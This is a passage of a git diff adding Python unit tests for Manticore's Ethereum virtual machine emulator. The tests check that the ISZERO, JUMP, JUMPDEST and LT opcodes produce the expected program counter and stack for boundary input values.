+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMJUMP.py b/tests/EVM/test_EVMJUMP.py
new file mode 100644
index 0000000..ff7e627
--- /dev/null
+++ b/tests/EVM/test_EVMJUMP.py
@@ -0,0 +1,281 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_JUMP(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_JUMP_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 0)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 16)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 32)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 48)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_JUMP_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='V'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 6089590155545428825848686802984512581899718912L)
+            self.assertEqual(new_vm.stack, [])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMJUMPDEST.py b/tests/EVM/test_EVMJUMPDEST.py
new file mode 100644
index 0000000..84b00a4
--- /dev/null
+++ b/tests/EVM/test_EVMJUMPDEST.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_JUMPDEST(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_JUMPDEST_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='['
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMLT.py b/tests/EVM/test_EVMLT.py
new file mode 100644
index 0000000..8d51710
--- /dev/null
+++ b/tests/EVM/test_EVMLT.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_LT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_LT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_LT_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_LT_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x10'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
